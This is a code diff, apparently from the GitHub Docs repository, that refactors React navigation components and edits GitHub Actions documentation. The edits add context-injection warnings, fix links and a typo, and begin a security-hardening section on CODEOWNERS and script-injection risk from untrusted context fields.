@@ -9,10 +9,10 @@ import { useTranslation } from 'components/hooks/useTranslation'
|
||||
export const HomepageVersionPicker = () => {
|
||||
const router = useRouter()
|
||||
const { currentVersion } = useVersion()
|
||||
const { allVersions, pagePermalinks, enterpriseServerVersions } = useMainContext()
|
||||
const { allVersions, page, enterpriseServerVersions } = useMainContext()
|
||||
const { t } = useTranslation('homepage')
|
||||
|
||||
if (!pagePermalinks || pagePermalinks.length <= 1) {
|
||||
if (page.permalinks && page.permalinks.length <= 1) {
|
||||
return null
|
||||
}
|
||||
|
||||
@@ -34,7 +34,7 @@ export const HomepageVersionPicker = () => {
|
||||
<Dropdown.Caret />
|
||||
</summary>
|
||||
<Dropdown.Menu direction="sw">
|
||||
{pagePermalinks.map((permalink) => {
|
||||
{(page.permalinks || []).map((permalink) => {
|
||||
if (permalink.pageVersion === 'homepage') {
|
||||
return null
|
||||
}
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { useEffect, useState } from 'react'
|
||||
import cx from 'classnames'
|
||||
import Link from 'next/link'
|
||||
import { useRouter } from 'next/router'
|
||||
@@ -11,6 +12,12 @@ export const LandingHero = () => {
|
||||
const { airGap } = useMainContext()
|
||||
const { product_video, shortTitle, beta_product, intro, introLinks } = useProductLandingContext()
|
||||
const { t } = useTranslation('product_landing')
|
||||
const [renderIFrame, setRenderIFrame] = useState(false)
|
||||
|
||||
// delay iFrame rendering so that dom ready happens sooner
|
||||
useEffect(() => {
|
||||
setRenderIFrame(true)
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<header className="d-lg-flex gutter-lg mb-6">
|
||||
@@ -73,7 +80,7 @@ export const LandingHero = () => {
|
||||
<iframe
|
||||
title={`${shortTitle} Video`}
|
||||
className="top-0 left-0 position-absolute color-shadow-large rounded-1 width-full height-full"
|
||||
src={product_video}
|
||||
src={renderIFrame ? product_video : ''}
|
||||
frameBorder="0"
|
||||
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
|
||||
allowFullScreen
|
||||
|
||||
@@ -1,21 +1,22 @@
|
||||
import Link from 'next/link'
|
||||
|
||||
import cx from 'classnames'
|
||||
import { useState } from 'react'
|
||||
import { ChevronUpIcon } from '@primer/octicons-react'
|
||||
import { SiteTreePage, useMainContext } from 'components/context/MainContext'
|
||||
import { CurrentProductTree, useMainContext } from 'components/context/MainContext'
|
||||
|
||||
const maxArticles = 10
|
||||
|
||||
export const ProductArticlesList = () => {
|
||||
const { productSiteTreeNew } = useMainContext()
|
||||
const { currentProductTree } = useMainContext()
|
||||
|
||||
if (!productSiteTreeNew) {
|
||||
if (!currentProductTree) {
|
||||
return null
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="d-flex gutter flex-wrap">
|
||||
{productSiteTreeNew.childPages.map((childPage) => {
|
||||
{currentProductTree.childPages.map((childPage) => {
|
||||
if (childPage.page.documentType === 'article') {
|
||||
return null
|
||||
}
|
||||
@@ -26,7 +27,7 @@ export const ProductArticlesList = () => {
|
||||
)
|
||||
}
|
||||
|
||||
const ArticleList = ({ page }: { page: SiteTreePage }) => {
|
||||
const ArticleList = ({ page }: { page: CurrentProductTree }) => {
|
||||
const [isShowingMore, setIsShowingMore] = useState(false)
|
||||
|
||||
return (
|
||||
@@ -38,16 +39,20 @@ const ArticleList = ({ page }: { page: SiteTreePage }) => {
|
||||
</h4>
|
||||
|
||||
<ul className="list-style-none">
|
||||
{page.childPages.map((grandchildPage) => {
|
||||
{page.childPages.map((grandchildPage, index) => {
|
||||
if (page.childPages[0].page.documentType === 'mapTopic' && grandchildPage.page.hidden) {
|
||||
return null
|
||||
}
|
||||
|
||||
return (
|
||||
<li className="mb-3 { page.childPages.length > maxArticles ? d-none : null }">
|
||||
<li className={cx('mb-3', index >= maxArticles ? 'd-none' : null)}>
|
||||
<Link href={grandchildPage.href}>
|
||||
<a>{grandchildPage.page.title}</a>
|
||||
</Link>
|
||||
{grandchildPage.page.documentType === 'mapTopic' ? (
|
||||
<small className="color-text-secondary d-inline-block">
|
||||
• {page.childPages.length} articles
|
||||
</small>) : null}
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
|
||||
@@ -23,7 +23,7 @@ export const getThemeProps = (req: any, mode?: 'css') => {
|
||||
} = {}
|
||||
const defaultProps = mode === 'css' ? defaultCSSThemeProps : defaultThemeProps
|
||||
|
||||
if (req.cookies.color_mode) {
|
||||
if (req.cookies?.color_mode) {
|
||||
try {
|
||||
cookieValue = JSON.parse(decodeURIComponent(req.cookies.color_mode))
|
||||
} catch {
|
||||
|
||||
@@ -1,201 +1,192 @@
|
||||
import cx from 'classnames'
|
||||
import { useRouter } from 'next/router'
|
||||
import Link from 'next/link'
|
||||
import cx from 'classnames'
|
||||
|
||||
import { useMainContext } from 'components/context/MainContext'
|
||||
import { AllProductsLink } from './AllProductsLink'
|
||||
import { useRouter } from 'next/router'
|
||||
import { AllProductsLink } from 'components/product/AllProductsLink'
|
||||
// <!--
|
||||
// Styling note:
|
||||
|
||||
/* Styling note:
|
||||
|
||||
Categories, Maptopics, and Articles list items get a class of `active` when they correspond to content
|
||||
hierarchy of the current page. If an item's URL is also the same as the current URL, the item
|
||||
also gets an `is-current-page` class.
|
||||
*/
|
||||
// Categories, Maptopics, and Articles list items get a class of `active` when they correspond to content
|
||||
// hierarchy of the current page. If an item's URL is also the same as the current URL, the item
|
||||
// also gets an `is-current-page` class.
|
||||
// -->
|
||||
export const ProductSiteTree = () => {
|
||||
const router = useRouter()
|
||||
const { productSiteTree: product, pageHidden, breadcrumbs } = useMainContext()
|
||||
if (!product) {
|
||||
const { currentProductTree: currentProductTree } = useMainContext()
|
||||
|
||||
if (!currentProductTree) {
|
||||
return null
|
||||
}
|
||||
|
||||
const productTitle = currentProductTree.renderedShortTitle || currentProductTree.renderedFullTitle
|
||||
return (
|
||||
<>
|
||||
<AllProductsLink />
|
||||
{!currentProductTree.page.hidden && (
|
||||
<>
|
||||
<li title="" className="sidebar-product mb-2">
|
||||
<Link href={currentProductTree.href}>
|
||||
<a className="pl-4 pr-5 pb-1 f4">{productTitle}</a>
|
||||
</Link>
|
||||
</li>
|
||||
|
||||
<li title={product.title} className="sidebar-product mb-2">
|
||||
{!pageHidden && (
|
||||
<Link href={product.href}>
|
||||
<a className="pl-4 pr-5 pb-1 f4 color-text-primary">{product.title}</a>
|
||||
</Link>
|
||||
)}
|
||||
</li>
|
||||
<li>
|
||||
<ul className="sidebar-categories list-style-none">
|
||||
{Object.entries(product.categories || {}).map(([key, category], i) => {
|
||||
const isActive = breadcrumbs.category?.href === category.href
|
||||
const isCurrent = isActive && router.asPath === category.href
|
||||
const title = category.shortTitle || category.title
|
||||
return (
|
||||
<li
|
||||
key={key}
|
||||
className={cx(
|
||||
'sidebar-category py-1',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page',
|
||||
category.standalone && 'standalone-category'
|
||||
)}
|
||||
>
|
||||
{category.standalone ? (
|
||||
<a
|
||||
href={category.href}
|
||||
className="pl-4 pr-2 py-2 f6 text-uppercase d-block flex-auto mr-3 color-text-primary"
|
||||
<li>
|
||||
<ul className="sidebar-categories list-style-none">
|
||||
{currentProductTree.childPages.map((childPage, i) => {
|
||||
const isStandaloneCategory = childPage.page.documentType === 'article'
|
||||
|
||||
const childTitle = childPage.renderedShortTitle || childPage.renderedFullTitle
|
||||
const isActive = router.asPath.includes(childPage.href)
|
||||
const isCurrent = router.asPath === childPage.href
|
||||
return (
|
||||
<li
|
||||
className={cx(
|
||||
'sidebar-category py-1',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page',
|
||||
isStandaloneCategory && 'standalone-category'
|
||||
)}
|
||||
>
|
||||
{title}
|
||||
</a>
|
||||
) : (
|
||||
<details
|
||||
className="dropdown-withArrow details details-reset"
|
||||
open={breadcrumbs.category?.href === category.href || i < 3}
|
||||
>
|
||||
<summary>
|
||||
<div className="d-flex flex-justify-between">
|
||||
<a
|
||||
href={category.href}
|
||||
className="pl-4 pr-2 py-2 f6 text-uppercase d-block flex-auto mr-3 color-text-primary"
|
||||
>
|
||||
{title}
|
||||
{isStandaloneCategory ? (
|
||||
<Link href={childPage.href}>
|
||||
<a className="pl-4 pr-2 py-2 f6 text-uppercase d-block flex-auto mr-3">
|
||||
{childTitle}
|
||||
</a>
|
||||
{(isActive || i < 3) && (
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className="octicon flex-shrink-0 arrow mr-3"
|
||||
style={{ marginTop: 7 }}
|
||||
viewBox="0 0 16 16"
|
||||
width="16"
|
||||
height="16"
|
||||
>
|
||||
{' '}
|
||||
<path
|
||||
fillRule="evenodd"
|
||||
clipRule="evenodd"
|
||||
d="M12.7803 6.21967C13.0732 6.51256 13.0732 6.98744 12.7803 7.28033L8.53033 11.5303C8.23744 11.8232 7.76256 11.8232 7.46967 11.5303L3.21967 7.28033C2.92678 6.98744 2.92678 6.51256 3.21967 6.21967C3.51256 5.92678 3.98744 5.92678 4.28033 6.21967L8 9.93934L11.7197 6.21967C12.0126 5.92678 12.4874 5.92678 12.7803 6.21967Z"
|
||||
></path>
|
||||
</svg>
|
||||
</Link>
|
||||
) : (
|
||||
<details
|
||||
className={cx(
|
||||
'dropdown-withArrow details details-reset',
|
||||
router.asPath.includes(childPage.href) || i < 3 ? 'open' : ''
|
||||
)}
|
||||
</div>
|
||||
</summary>
|
||||
|
||||
{(isActive || i < 4) &&
|
||||
(category.maptopics ? (
|
||||
// <!-- some categories have maptopics with child articles -->
|
||||
<ul className="sidebar-topics list-style-none position-relative">
|
||||
{Object.entries(category.maptopics).map(([key, maptopic]) => {
|
||||
if (!maptopic || maptopic.hidden) {
|
||||
return null
|
||||
}
|
||||
|
||||
const title = maptopic.shortTitle || maptopic.title
|
||||
const isActiveMapTopic = breadcrumbs.maptopic?.href == maptopic.href
|
||||
const isCurrentMapTopic =
|
||||
isActiveMapTopic && router.asPath === maptopic.href
|
||||
return (
|
||||
<li
|
||||
key={key}
|
||||
className={cx(
|
||||
'sidebar-maptopic',
|
||||
isActiveMapTopic && 'active',
|
||||
isCurrentMapTopic && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<summary>
|
||||
<div className="d-flex flex-justify-between">
|
||||
<Link href={childPage.href}>
|
||||
<a className="pl-4 pr-2 py-2 f6 text-uppercase d-block flex-auto mr-3">
|
||||
{childTitle}
|
||||
</a>
|
||||
</Link>
|
||||
{i < 3 && (
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className="octicon flex-shrink-0 arrow mr-3"
|
||||
style={{ marginTop: 7 }}
|
||||
viewBox="0 0 16 16"
|
||||
width="16"
|
||||
height="16"
|
||||
>
|
||||
<a
|
||||
href={maptopic.href}
|
||||
className="pl-4 pr-5 py-2 color-text-primary"
|
||||
>
|
||||
{title}
|
||||
</a>
|
||||
<ul className="sidebar-articles my-2">
|
||||
{Object.entries(maptopic.articles || {}).map(
|
||||
([key, article], i, arr) => {
|
||||
if (!article || article.hidden) {
|
||||
return null
|
||||
}
|
||||
|
||||
const isLast = i === arr.length - 1
|
||||
|
||||
const title = article.shortTitle || article.title
|
||||
const isActiveArticle =
|
||||
breadcrumbs.article?.href === article.href
|
||||
const isCurrentArticle =
|
||||
isActiveArticle && router.asPath === article.href
|
||||
return (
|
||||
<li
|
||||
key={key}
|
||||
className={cx(
|
||||
'sidebar-article',
|
||||
isActiveArticle && 'active',
|
||||
isCurrentArticle && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<a
|
||||
href={article.href}
|
||||
className={cx(
|
||||
'pl-6 pr-5 py-1 color-text-primary',
|
||||
isLast && 'pb-2'
|
||||
)}
|
||||
>
|
||||
{title}
|
||||
</a>
|
||||
</li>
|
||||
)
|
||||
}
|
||||
)}
|
||||
</ul>
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
) : (
|
||||
// <!-- some categories have no maptopics, only articles -->
|
||||
<ul className="sidebar-articles list-style-none">
|
||||
{Object.entries(category.articles || {}).map(([key, article], i, arr) => {
|
||||
if (!article || article.hidden) {
|
||||
return null
|
||||
}
|
||||
|
||||
const isLast = i === arr.length - 1
|
||||
const isActive = breadcrumbs.article?.href === article.href
|
||||
const isCurrent = isActive && router.asPath === article.href
|
||||
|
||||
return (
|
||||
<li
|
||||
key={key}
|
||||
className={cx(
|
||||
'sidebar-article',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<a
|
||||
href={article.href}
|
||||
className={cx(
|
||||
'pl-6 pr-5 py-1 color-text-primary',
|
||||
isLast && 'pb-2'
|
||||
)}
|
||||
>
|
||||
{article.shortTitle || article.title}
|
||||
</a>
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
))}
|
||||
</details>
|
||||
)}
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
</li>
|
||||
{' '}
|
||||
<path
|
||||
fillRule="evenodd"
|
||||
clipRule="evenodd"
|
||||
d="M12.7803 6.21967C13.0732 6.51256 13.0732 6.98744 12.7803 7.28033L8.53033 11.5303C8.23744 11.8232 7.76256 11.8232 7.46967 11.5303L3.21967 7.28033C2.92678 6.98744 2.92678 6.51256 3.21967 6.21967C3.51256 5.92678 3.98744 5.92678 4.28033 6.21967L8 9.93934L11.7197 6.21967C12.0126 5.92678 12.4874 5.92678 12.7803 6.21967Z"
|
||||
></path>
|
||||
</svg>
|
||||
)}
|
||||
</div>
|
||||
</summary>
|
||||
{router.asPath.includes(childPage.href) || i < 3 ? (
|
||||
<>
|
||||
{/* <!-- some categories have maptopics with child articles --> */}
|
||||
{childPage.childPages[0].page.documentType === 'mapTopic' ? (
|
||||
<ul className="sidebar-topics list-style-none position-relative">
|
||||
{childPage.childPages.map((grandchildPage) => {
|
||||
const grandchildTitle =
|
||||
grandchildPage.renderedShortTitle ||
|
||||
grandchildPage.renderedFullTitle
|
||||
const isActive = router.asPath.includes(grandchildPage.href)
|
||||
const isCurrent = router.asPath === grandchildPage.href
|
||||
return (
|
||||
<li
|
||||
className={cx(
|
||||
'sidebar-maptopic',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<Link href={grandchildPage.href}>
|
||||
<a className="pl-4 pr-5 py-2">{grandchildTitle}</a>
|
||||
</Link>
|
||||
<ul className="sidebar-articles my-2">
|
||||
{grandchildPage.childPages.map(
|
||||
(greatgrandchildPage, i, arr) => {
|
||||
const greatgrandchildTitle =
|
||||
greatgrandchildPage.renderedShortTitle ||
|
||||
greatgrandchildPage.renderedFullTitle
|
||||
const isLast = i === arr.length - 1
|
||||
const isActive = router.asPath.includes(
|
||||
greatgrandchildPage.href
|
||||
)
|
||||
const isCurrent =
|
||||
router.asPath === greatgrandchildPage.href
|
||||
return (
|
||||
<li
|
||||
className={cx(
|
||||
'sidebar-article',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<Link href={greatgrandchildPage.href}>
|
||||
<a
|
||||
className={cx(
|
||||
'pl-6 pr-5 py-1',
|
||||
isLast && 'pb-2'
|
||||
)}
|
||||
>
|
||||
{greatgrandchildTitle}
|
||||
</a>
|
||||
</Link>
|
||||
</li>
|
||||
)
|
||||
}
|
||||
)}
|
||||
</ul>
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
) : childPage.childPages[0].page.documentType == 'article' ? (
|
||||
<ul className="sidebar-articles list-style-none">
|
||||
{/* <!-- some categories have no maptopics, only articles --> */}
|
||||
{childPage.childPages.map((grandchildPage, i, arr) => {
|
||||
const grandchildTitle =
|
||||
grandchildPage.renderedShortTitle ||
|
||||
grandchildPage.renderedFullTitle
|
||||
const isLast = i === arr.length - 1
|
||||
const isActive = router.asPath.includes(grandchildPage.href)
|
||||
const isCurrent = router.asPath === grandchildPage.href
|
||||
return (
|
||||
<li
|
||||
className={cx(
|
||||
'sidebar-article',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<Link href={grandchildPage.href}>
|
||||
<a className={cx('pl-6 pr-5 py-1', isLast && 'pb-2')}>
|
||||
{grandchildTitle}
|
||||
</a>
|
||||
</Link>
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
) : null}
|
||||
</>
|
||||
) : null}
|
||||
</details>
|
||||
)}
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
</li>
|
||||
</>
|
||||
)}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
@@ -1,192 +0,0 @@
|
||||
import { useRouter } from 'next/router'
|
||||
import Link from 'next/link'
|
||||
import cx from 'classnames'
|
||||
|
||||
import { useMainContext } from 'components/context/MainContext'
|
||||
import { AllProductsLink } from 'components/product/AllProductsLink'
|
||||
// <!--
|
||||
// Styling note:
|
||||
|
||||
// Categories, Maptopics, and Articles list items get a class of `active` when they correspond to content
|
||||
// hierarchy of the current page. If an item's URL is also the same as the current URL, the item
|
||||
// also gets an `is-current-page` class.
|
||||
// -->
|
||||
export const ProductSiteTreeNew = () => {
|
||||
const router = useRouter()
|
||||
const { productSiteTreeNew: currentProductTree } = useMainContext()
|
||||
|
||||
if (!currentProductTree) {
|
||||
return null
|
||||
}
|
||||
|
||||
const productTitle = currentProductTree.renderedShortTitle || currentProductTree.renderedFullTitle
|
||||
return (
|
||||
<>
|
||||
<AllProductsLink />
|
||||
{!currentProductTree.page.hidden && (
|
||||
<>
|
||||
<li title="" className="sidebar-product mb-2">
|
||||
<Link href={currentProductTree.href}>
|
||||
<a className="pl-4 pr-5 pb-1 f4">{productTitle}</a>
|
||||
</Link>
|
||||
</li>
|
||||
|
||||
<li>
|
||||
<ul className="sidebar-categories list-style-none">
|
||||
{currentProductTree.childPages.map((childPage, i) => {
|
||||
const isStandaloneCategory = childPage.page.documentType === 'article'
|
||||
|
||||
const childTitle = childPage.renderedShortTitle || childPage.renderedFullTitle
|
||||
const isActive = router.asPath.includes(childPage.href)
|
||||
const isCurrent = router.asPath === childPage.href
|
||||
return (
|
||||
<li
|
||||
className={cx(
|
||||
'sidebar-category py-1',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page',
|
||||
isStandaloneCategory && 'standalone-category'
|
||||
)}
|
||||
>
|
||||
{isStandaloneCategory ? (
|
||||
<Link href={childPage.href}>
|
||||
<a className="pl-4 pr-2 py-2 f6 text-uppercase d-block flex-auto mr-3">
|
||||
{childTitle}
|
||||
</a>
|
||||
</Link>
|
||||
) : (
|
||||
<details
|
||||
className={cx(
|
||||
'dropdown-withArrow details details-reset',
|
||||
router.asPath.includes(childPage.href) || i < 3 ? 'open' : ''
|
||||
)}
|
||||
>
|
||||
<summary>
|
||||
<div className="d-flex flex-justify-between">
|
||||
<Link href={childPage.href}>
|
||||
<a className="pl-4 pr-2 py-2 f6 text-uppercase d-block flex-auto mr-3">
|
||||
{childTitle}
|
||||
</a>
|
||||
</Link>
|
||||
{i < 3 && (
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
className="octicon flex-shrink-0 arrow mr-3"
|
||||
style={{ marginTop: 7 }}
|
||||
viewBox="0 0 16 16"
|
||||
width="16"
|
||||
height="16"
|
||||
>
|
||||
{' '}
|
||||
<path
|
||||
fillRule="evenodd"
|
||||
clipRule="evenodd"
|
||||
d="M12.7803 6.21967C13.0732 6.51256 13.0732 6.98744 12.7803 7.28033L8.53033 11.5303C8.23744 11.8232 7.76256 11.8232 7.46967 11.5303L3.21967 7.28033C2.92678 6.98744 2.92678 6.51256 3.21967 6.21967C3.51256 5.92678 3.98744 5.92678 4.28033 6.21967L8 9.93934L11.7197 6.21967C12.0126 5.92678 12.4874 5.92678 12.7803 6.21967Z"
|
||||
></path>
|
||||
</svg>
|
||||
)}
|
||||
</div>
|
||||
</summary>
|
||||
{router.asPath.includes(childPage.href) || i < 3 ? (
|
||||
<>
|
||||
{/* <!-- some categories have maptopics with child articles --> */}
|
||||
{childPage.childPages[0].page.documentType === 'mapTopic' ? (
|
||||
<ul className="sidebar-topics list-style-none position-relative">
|
||||
{childPage.childPages.map((grandchildPage) => {
|
||||
const grandchildTitle =
|
||||
grandchildPage.renderedShortTitle ||
|
||||
grandchildPage.renderedFullTitle
|
||||
const isActive = router.asPath.includes(grandchildPage.href)
|
||||
const isCurrent = router.asPath === grandchildPage.href
|
||||
return (
|
||||
<li
|
||||
className={cx(
|
||||
'sidebar-maptopic',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<Link href={grandchildPage.href}>
|
||||
<a className="pl-4 pr-5 py-2">{grandchildTitle}</a>
|
||||
</Link>
|
||||
<ul className="sidebar-articles my-2">
|
||||
{grandchildPage.childPages.map(
|
||||
(greatgrandchildPage, i, arr) => {
|
||||
const greatgrandchildTitle =
|
||||
greatgrandchildPage.renderedShortTitle ||
|
||||
greatgrandchildPage.renderedFullTitle
|
||||
const isLast = i === arr.length - 1
|
||||
const isActive = router.asPath.includes(
|
||||
greatgrandchildPage.href
|
||||
)
|
||||
const isCurrent =
|
||||
router.asPath === greatgrandchildPage.href
|
||||
return (
|
||||
<li
|
||||
className={cx(
|
||||
'sidebar-article',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<Link href={greatgrandchildPage.href}>
|
||||
<a
|
||||
className={cx(
|
||||
'pl-6 pr-5 py-1',
|
||||
isLast && 'pb-2'
|
||||
)}
|
||||
>
|
||||
{greatgrandchildTitle}
|
||||
</a>
|
||||
</Link>
|
||||
</li>
|
||||
)
|
||||
}
|
||||
)}
|
||||
</ul>
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
) : childPage.childPages[0].page.documentType == 'article' ? (
|
||||
<ul className="sidebar-articles list-style-none">
|
||||
{/* <!-- some categories have no maptopics, only articles --> */}
|
||||
{childPage.childPages.map((grandchildPage, i, arr) => {
|
||||
const grandchildTitle =
|
||||
grandchildPage.renderedShortTitle ||
|
||||
grandchildPage.renderedFullTitle
|
||||
const isLast = i === arr.length - 1
|
||||
const isActive = router.asPath.includes(grandchildPage.href)
|
||||
const isCurrent = router.asPath === grandchildPage.href
|
||||
return (
|
||||
<li
|
||||
className={cx(
|
||||
'sidebar-article',
|
||||
isActive && 'active',
|
||||
isCurrent && 'is-current-page'
|
||||
)}
|
||||
>
|
||||
<Link href={grandchildPage.href}>
|
||||
<a className={cx('pl-6 pr-5 py-1', isLast && 'pb-2')}>
|
||||
{grandchildTitle}
|
||||
</a>
|
||||
</Link>
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
) : null}
|
||||
</>
|
||||
) : null}
|
||||
</details>
|
||||
)}
|
||||
</li>
|
||||
)
|
||||
})}
|
||||
</ul>
|
||||
</li>
|
||||
</>
|
||||
)}
|
||||
</>
|
||||
)
|
||||
}
|
||||
@@ -21,6 +21,8 @@ In this guide, you'll learn about the basic components needed to create and use
|
||||
|
||||
Once you complete this project, you should understand how to build your own composite run steps action and test it in a workflow.
|
||||
|
||||
{% data reusables.github-actions.context-injection-warning %}
|
||||
|
||||
### Prerequisites
|
||||
|
||||
Before you begin, you'll create a {% data variables.product.product_name %} repository.
|
||||
|
||||
@@ -29,6 +29,8 @@ Once you complete this project, you should understand how to build your own Dock
|
||||
|
||||
{% data reusables.github-actions.self-hosted-runner-reqs-docker %}
|
||||
|
||||
{% data reusables.github-actions.context-injection-warning %}
|
||||
|
||||
### Prerequisites
|
||||
|
||||
You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %} environment variables and the Docker container filesystem:
|
||||
|
||||
@@ -31,6 +31,8 @@ Once you complete this project, you should understand how to build your own Java
|
||||
|
||||
{% data reusables.github-actions.pure-javascript %}
|
||||
|
||||
{% data reusables.github-actions.context-injection-warning %}
|
||||
|
||||
### Prerequisites
|
||||
|
||||
Before you begin, you'll need to download Node.js and create a GitHub repository.
|
||||
|
||||
@@ -57,7 +57,7 @@ Browse the complete list of CI workflow templates offered by {% data variables.p
|
||||
{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" or currentVersion == "github-ae@next" %}
|
||||
### Skipping workflow runs
|
||||
|
||||
If you want to temporarily prevent a workflow from being triggered, you can add a skip instruction to the commit message. Workflows that would otherwise be triggered `on: push` or `on: pull_request`, won't be triggered if you add any any of the following strings to the commit message in a push, or the HEAD commit of a pull request:
|
||||
If you want to temporarily prevent a workflow from being triggered, you can add a skip instruction to the commit message. Workflows that would otherwise be triggered `on: push` or `on: pull_request`, won't be triggered if you add any of the following strings to the commit message in a push, or the HEAD commit of a pull request:
|
||||
|
||||
* `[skip ci]`
|
||||
* `[ci skip]`
|
||||
@@ -90,5 +90,5 @@ For more information, see "[Configuring a workflow](/articles/configuring-a-work
|
||||
|
||||
- "[Setting up continuous integration using {% data variables.product.prodname_actions %}](/articles/setting-up-continuous-integration-using-github-actions)"
|
||||
{% if currentVersion == "free-pro-team@latest" %}
|
||||
- "[Managing billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions)"
|
||||
- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
|
||||
{% endif %}
|
||||
|
||||
@@ -27,7 +27,7 @@ This guide shows you how to create a workflow that performs continuous integrati
|
||||
{% data variables.product.prodname_actions %}-hosted macOS runner stores Xamarin SDK versions and the associated Mono versions as a set of symlinks to Xamarin SDK locations that are available by a single bundle symlink. For a full list of available Xamarin SDK versions and their corresponding bundles, see the runners documentation:
|
||||
|
||||
* [macOS 10.15](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md#xamarin-bundles)
|
||||
* [macOS 11.0](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11.0-Readme.md#xamarin-bundles)
|
||||
* [macOS 11](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11-Readme.md#xamarin-bundles)
|
||||
|
||||
{% data reusables.github-actions.macos-runner-preview %}
|
||||
|
||||
|
||||
@@ -47,5 +47,5 @@ For more information, see "[Learn {% data variables.product.prodname_actions %}]
|
||||
- "[About continuous integration](/articles/about-continuous-integration)"
|
||||
- "[Managing a workflow run](/articles/managing-a-workflow-run)"
|
||||
{% if currentVersion == "free-pro-team@latest" %}
|
||||
- "[Managing billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions)"
|
||||
- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
|
||||
{% endif %}
|
||||
|
||||
@@ -36,7 +36,7 @@ These are some of the common artifacts that you can upload:
|
||||
|
||||
{% if currentVersion == "free-pro-team@latest" %}
|
||||
|
||||
Storing artifacts uses storage space on {% data variables.product.product_name %}. {% data reusables.github-actions.actions-billing %} For more information, see "[Managing billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions)."
|
||||
Storing artifacts uses storage space on {% data variables.product.product_name %}. {% data reusables.github-actions.actions-billing %} For more information, see "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)."
|
||||
|
||||
{% else %}
|
||||
|
||||
@@ -252,6 +252,6 @@ The workflow run will archive any artifacts that it generated. For more informat
|
||||
|
||||
### Further reading
|
||||
|
||||
- "[Managing billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions)".
|
||||
- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)".
|
||||
|
||||
{% endif %}
|
||||
|
||||
@@ -12,6 +12,7 @@ versions:
|
||||
type: overview
|
||||
topics:
|
||||
- Security
|
||||
miniTocMaxHeadingLevel: 4
|
||||
---
|
||||
|
||||
{% data reusables.actions.enterprise-beta %}
|
||||
@@ -49,11 +50,117 @@ To help prevent accidental disclosure, {% data variables.product.product_name %}
|
||||
- You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Environments](/actions/reference/environments)."
|
||||
{% endif %}
|
||||
|
||||
### Using `CODEOWNERS` to monitor changes
|
||||
|
||||
You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.
|
||||
|
||||
For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
|
||||
|
||||
### Understanding the risk of script injections
|
||||
|
||||
When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite run step](/actions/creating-actions/creating-a-composite-run-steps-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
|
||||
|
||||
Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`.
|
||||
|
||||
